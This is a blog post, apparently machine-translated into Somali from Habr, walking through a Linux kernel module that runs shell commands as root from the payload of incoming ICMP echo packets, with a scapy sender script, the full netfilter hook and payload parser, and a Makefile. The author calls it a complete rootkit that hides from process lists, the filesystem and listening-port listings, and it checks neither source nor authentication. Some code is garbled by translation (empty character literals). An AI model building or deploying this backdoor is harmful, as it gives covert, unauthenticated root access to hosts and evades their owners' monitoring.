qolof nukliyeer ah oo kor saaran ICMP

qolof nukliyeer ah oo kor saaran ICMP

TL, DR: Waxaan qorayaa cutubka kernel-ka kaas oo akhrin doona amarada ka soo baxa culeyska ICMP oo ku fulin doona server-ka xitaa haddii SSH-gaagu burburo. Kuwa ugu dulqaadan, dhammaan koodka ayaa ah github.

Digniin Barmaamijiyeyaasha khibrada leh ee C waxay halis ugu jiraan inay ilmada dhiig Waxaa laga yaabaa inaan xitaa ku qaldanahay ereybixinta, laakiin wixii naqdi ah waa la soo dhaweynayaa. Boostada waxaa loogu talagalay kuwa leh fikrad aad u qallafsan ee barnaamijka C oo raba inay eegaan gudaha Linux.

Faallooyinkayga ugu horreeya maqaal lagu sheegay SoftEther VPN, kaas oo la jaan qaadi kara qaar ka mid ah borotokoollada "caadiga ah", gaar ahaan HTTPS, ICMP iyo xitaa DNS. Waxaan qiyaasi karaa oo kaliya kuwa ugu horreeya iyaga oo shaqeynaya, maadaama aan aad u aqaano HTTP(S), oo ay ahayd inaan barto tunnel-ka ICMP iyo DNS.

qolof nukliyeer ah oo kor saaran ICMP

Haa, sanadka 2020 waxaan bartay inaad geli karto culays aan sabab lahayn xidhmooyinka ICMP. Laakiin ka roon weligii! Oo mar haddii wax laga qaban karo, markaas ayaa loo baahan yahay in la sameeyo. Maadaama nolol maalmeedkayga aan inta badan isticmaalo khadka taliska, oo ay ku jiraan iyada oo loo marayo SSH, fikradda qolofka ICMP ayaa maskaxdayda ku soo dhacay markii hore. Oo si aan u ururiyo bingo bullshield dhamaystiran, waxaan go'aansaday inaan u qoro sidii module Linux ah luqad aan kaliya fikrad adag ka haysto. Qolofka noocan oo kale ah kama muuqan doono liiska hababka, waxaad ku dhejin kartaa kernel mana ku jiri doonto nidaamka faylka, ma arki doontid wax shaki leh liiska dekedaha dhegeysiga. Marka la eego awoodeeda, tani waa rootkit buuxa, laakiin waxaan rajeynayaa inaan wanaajiyo oo aan u isticmaalo sidii qolofkii ugu dambeeyay marka Celceliska Loadku aad u sarreeyo si uu u galo SSH oo uu fuliyo ugu yaraan. echo i > /proc/sysrq-triggersi loo soo celiyo gelitaanka iyada oo aan dib loo bilaabin.

Waxaan qaadanaa tifaftiraha qoraalka, xirfadaha aasaasiga ah ee barnaamijka Python iyo C, Google iyo muuqaal ah Taas oo aadan dan ka lahayn inaad mindida hoos geliso haddii wax walba jabaan (ikhtiyaar - maxalli ah VirtualBox/KVM / iwm) oo aan tagno!

Dhinaca macmiilka

Waxay ii muuqatay in qaybta macmiilka ay tahay inaan qoro qoraal ka kooban ilaa 80 sadar, laakiin waxaa jiray dad naxariis leh oo aniga ii sameeyay. shaqada oo dhan. Koodhku wuxuu noqday mid fudud oo lama filaan ah, oo ku habboon 10 sadar oo muhiim ah:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Qoraalku wuxuu qaataa laba doodood, cinwaan iyo culays. Kahor intaadan dirin, culayska la saarayo waxaa ka horeeya fure run:, waxaan u baahan doonaa si aan uga saarno baakadaha ay wataan lacag-bixinta aan tooska ahayn.

Kernelku wuxuu u baahan yahay mudnaan si loo farsameeyo xirmooyinka, markaa qoraalka waa in loo maamulaa sidii superuser. Ha iloobin inaad bixiso ogolaanshaha fulinta oo aad ku rakibto qashinka laftiisa. Debian waxay haysaa baakidh la yiraahdo python3-scapy. Hadda waxaad hubin kartaa sida ay u wada shaqeeyaan.

Ku socodsiinta iyo soo saarista amarka
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

Tani waa sida ay u egtahay sniffer
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

Culayska ku jira xirmada jawaabtu isma beddelo.

module Kernel

Si aad ugu dhisto mashiinka farsamada ee Debian waxaad u baahan doontaa ugu yaraan make ΠΈ linux-headers-amd64, inta soo hartay waxay ku imaan doontaa qaab ku tiirsanaan. Ma bixin doono dhammaan koodka maqaalka;

dejinta jillaab

Si aan u bilowno, waxaan u baahanahay laba hawlood si aan u rarno moduleka oo aan u dejino. Shaqada dejinta looma baahna, laakiin markaa rmmod ma shaqayn doonto;

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Maxaa halkan ka socda:

  1. Laba fayl oo madax ah ayaa la soo dhex galay si loo maamulo moduleka laftiisa iyo netfilter-ka.
  2. Dhammaan hawlgallada waxay maraan netfilter, waxaad ku dhejin kartaa qabsatooyinkiisa. Si tan loo sameeyo, waxaad u baahan tahay inaad ku dhawaaqdo qaab-dhismeedka kaas oo jillaab lagu habeyn doono. Waxa ugu muhiimsan waa in la qeexo shaqada lagu fulin doono sida jillaab: nfho.hook = icmp_cmd_executor; Waxaan heli doonaa shaqada lafteeda hadhow.
    Ka dib waxaan dejiyay wakhtiga habaynta xirmada: NF_INET_PRE_ROUTING ayaa qeexaya in la habeeyo xirmada marka ugu horraysa ay ka soo muuqato kernel-ka. Waa la isticmaali karaa NF_INET_POST_ROUTING si loo farsameeyo baakadda marka ay ka baxayso kernel-ka.
    filterka waxaan dhigay IPv4: nfho.pf = PF_INET;.
    Waxaan siinayaa jillaabkayga mudnaanta ugu sareysa: nfho.priority = NF_IP_PRI_FIRST;
    Oo waxaan u diiwaangeliyaa qaabdhismeedka xogta sida jillaab dhab ah: nf_register_net_hook(&init_net, &nfho);
  3. Shaqada ugu dambeysa waxay ka saartaa jillaab.
  4. Shatiga si cad ayaa loo tilmaamay si aanu kombuyuutarku u caban.
  5. Functions module_init() ΠΈ module_exit() deji hawlo kale si aad u bilawdo oo u joojiso moduleka.

Soo celinta culayska lacagta

Hadda waxaan u baahanahay inaan soo saarno culeyska mushaharka, tani waxay noqotay hawsha ugu adag. Kernelku ma laha hawlo ku dhex jira oo uu kula shaqaynayo culaysyo badan;

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Maxaa dhacaya:

  1. Waxay ahayd inaan ku daro faylal dheeraad ah oo madax ah, markan si aan u maamulo cinwaanka IP iyo ICMP.
  2. Waxaan dhigay dhererka xariiqda ugu badan: #define MAX_CMD_LEN 1976. Waa maxay sababta dhabta ah tan? Sababtoo ah iskudubariduhu wuu ka cabanayaa! Waxay mar hore ii soo jeediyeen inaan u baahanahay inaan fahmo rajada iyo tuubada, maalin hubaal waan sameyn doonaa tan oo laga yaabee xitaa inaan saxo koodka. Isla markiiba waxaan dejiyay khadka ka koobnaan doona amarka: char cmd_string[MAX_CMD_LEN];. Waa in ay ka muuqataa dhammaan hawlaha;
  3. Hadda waxaan u baahanahay inaan bilowno (struct work_struct my_work;) qaab dhismeedka oo ku xidh hawl kale (DECLARE_WORK(my_work, work_handler);). Waxaan sidoo kale ka hadli doonaa sababta ay tani lagama maarmaan u tahay cutubka sagaalaad.
  4. Hadda waxaan caddaynayaa shaqo, taas oo noqon doonta jillaab. Nooca iyo doodaha la aqbalay waxaa maamula netfilter-ka, kaliya waxaan xiiseyneynaa skb. Kani waa baakidh-xidhe, xog dhismeed asaasi ah oo ka kooban dhammaan macluumaadka la heli karo ee ku saabsan xidhmada.
  5. Si hawshu u shaqeyso, waxaad u baahan doontaa laba qaab-dhismeed iyo doorsoomayaal badan, oo ay ku jiraan laba soo noqnoqonaya.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Waxaan ku bilaabi karnaa macquul. Si uu moduleku u shaqeeyo, looma baahna baakado aan ahayn ICMP Echo, markaa waxaanu ku kala saarnaa kaydinta annagoo adeegsanayna hawlo ku dhex jira oo aanu tuurno dhammaan xidhmooyinka aan ICMP ahayn iyo kuwa aan Echo ahayn. Soo noqo NF_ACCEPT Macnaheedu waa aqbalaadda xirmada, laakiin sidoo kale waxaad tuuri kartaa baakadaha adigoo soo laabanaya NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Maan tijaabin waxa dhici doona aniga oo aan hubin cinwaanada IP. Aqoontayda ugu yar ee C waxay ii sheegaysaa in la'aanteed hubin dheeraad ah, ay dhici doonto wax aad u xun. Waan ku farxi doonaa haddii aad tan iga dhaadhiciso!

  7. Hadda xirmada waa nooca saxda ah ee aad u baahan tahay, waxaad soo saari kartaa xogta. La'aanteed shaqeyn la dhisay, marka hore waa inaad heshaa tilmaame bilowga culeyska lacag bixinta. Tan waxaa lagu sameeyaa hal meel, waxaad u baahan tahay inaad qaado tilmaanta bilowga madaxa ICMP oo aad u guurto cabbirka madaxan. Wax walba waxay adeegsadaan qaab dhismeed icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    Dhamaadka madaxu waa inuu u dhigmaa dhamaadka culeyska lacag bixinta skb, sidaas darteed waxaan ku helnaa annagoo adeegsanayna habka nukliyeerka ee qaabka u dhigma: tail = skb_tail_pointer(skb);.

    qolof nukliyeer ah oo kor saaran ICMP

    Sawirka waa la xaday halkan, waxaad ka akhrisan kartaa wax badan oo ku saabsan socket baffer.

  8. Marka aad haysatid tilmaamayaasha bilowga iyo dhammaadka, waxaad nuqul ka samayn kartaa xogta xadhig cmd_string, ka hubi joogitaanka horgale run: iyo, ama tuur xirmada haddii ay maqan tahay, ama dib u qor khadka mar kale, ka saar horgalahan.
  9. Taasi waa sidaas, hadda waxaad wici kartaa maamule kale: schedule_work(&my_work);. Maadaama aysan suurtagal ahayn in loo gudbiyo halbeegga wicitaanka noocaas ah, khadka amarku waa inuu noqdaa mid caalami ah. schedule_work() waxay gelin doontaa shaqada la xidhiidha qaab-dhismeedka la gudbay oo geli doona safka guud ee jadwalaha hawsha oo dhammaystira, taasoo kuu oggolaanaysa inaadan sugin amarka si loo dhammaystiro. Tani waa lagama maarmaan sababtoo ah jillaabku waa inuu ahaadaa mid aad u degdeg ah. Haddii kale, doorashadaadu waa in aanay waxba bilaabmi doonin ama waxaad heli doontaa argagax kernel ah. Dib u dhacu waa geeri oo kale!
  10. Taasi waa sidaas, waxaad ku aqbali kartaa xirmada soo celinta u dhiganta.

Wicida barnaamij gudaha userspace

Shaqadani waa tan ugu badan ee la fahmi karo. Magaceeda ayaa lagu sheegay DECLARE_WORK(), nooca iyo doodaha la aqbalay maaha kuwo xiiso leh. Waxaan qaadnaa xariiqda amarka oo aan u gudubno gebi ahaanba qolofka. Ha la macaamilo falanqaynta, raadinta binaries iyo wax kasta oo kale.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. U deji doodaha si aad u tiro badan oo xadhig ah argv[]. Waxaan u qaadan doonaa in qof kastaa ogyahay in barnaamijyada dhab ahaantii loo fuliyay habkan, oo aan ahayn xariiq joogto ah oo leh meelo bannaan.
  2. Deji doorsoomayaasha deegaanka. Waxa aan galiyay PATH kaliya oo leh jidad ugu yar, anigoo rajaynaya in mar hore la isku daray /bin с /usr/bin и /sbin с /usr/sbin. Waddooyinka kale dhif ayay muhiim u yihiin ficil ahaan.
  3. La dhammeeyay, aynu samayno! Shaqada Kernel call_usermodehelper() aqbal gelitaanka Jidka loo maro binary, doodo kala duwan, doorsoomayaal deegaan. Halkan waxaan sidoo kale u malaynayaa in qof kastaa fahmayo macnaha gudbinta dariiqa loo maro faylka la fulin karo sida dood gooni ah, laakiin waxaad weydiin kartaa. Doodda u dambaysa waxay cadaynaysaa in la sugo inta hawsha la dhammaystirayo iyo in kale (UMH_WAIT_PROC), habka bilawga (UMH_WAIT_EXEC) amaba ha sugin (UMH_NO_WAIT). Ma jiraan qaar kale UMH_KILLABLE, maan eegin.

Golaha

Isku-dubbaridka cutubyada kernel-ka waxaa lagu sameeyaa qaab-dhismeedka kernel-ka. loo yeedhay make gudaha buug khaas ah oo ku xidhan nooca kernel-ka (halkan lagu qeexay: KERNELDIR:=/lib/modules/$(shell uname -r)/build), iyo goobta moduleka waxaa loo gudbiyaa doorsoomayaasha M ee doodaha. icmpshell.ko iyo bartilmaameedyada nadiifka ah waxay isticmaalaan qaabkan gebi ahaanba. IN obj-m waxay tilmaamaysaa faylka shayga loo rogi doono cutubka. Syntax dib u dhigaysa main.o Π² icmpshell.o (icmpshell-objs = main.o) iima muuqato mid macquul ah, laakiin sidaas ha ahaato.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Waxaan aruurineynaa: make. Soodejinaya: insmod icmpshell.ko. La sameeyay, waxaad hubin kartaa: sudo ./send.py 45.11.26.232 "date > /tmp/test". Haddii aad fayl ku hayso mashiinkaaga /tmp/test waxayna ka kooban tahay taariikhda codsiga la diray, taas oo macnaheedu yahay inaad wax walba saxday, wax walbana waan sameeyay.

gunaanad

Khibradaydii ugu horreysay ee horumarinta nukliyeerka waxay ahayd mid aad uga fudud sidii aan filayay. Xitaa iyada oo aan khibrad u lahayn horumarinta C, oo diiradda saaraya tilmaamaha isku-darka iyo natiijooyinka Google, waxaan awooday inaan qoro moduleka shaqada oo aan dareemo sida kernel hacker, isla mar ahaantaana ilmo qoraal ah. Intaa waxaa dheer, waxaan aaday kanaalka Kernel Newbies, halkaas oo ay ii sheegeen inaan isticmaalo schedule_work() halkii laga wici lahaa call_usermodehelper() gudaha jillaab laftiisa oo isaga ceebeeyey, si sax ah uga shakisan yahay fadeexad. Boqol xariiq oo kood ah ayaa igu kacay qiyaastii hal toddobaad oo horumarin ah waqtigayga firaaqada ah. Khibrad guul leh oo burburisay khuraafaadkayga shakhsi ahaaneed ee ku saabsan kakanaanta xad dhaafka ah ee horumarinta nidaamka.

Haddii qof ogolaado inuu dib u eegis kood ku sameeyo Github, waan u mahadcelin doonaa. Waxaan aad u hubaa in aan sameeyay khaladaad badan oo nacasnimo ah, gaar ahaan marka aan ku shaqaynayo xargaha.

qolof nukliyeer ah oo kor saaran ICMP

Source: www.habr.com

Add a comment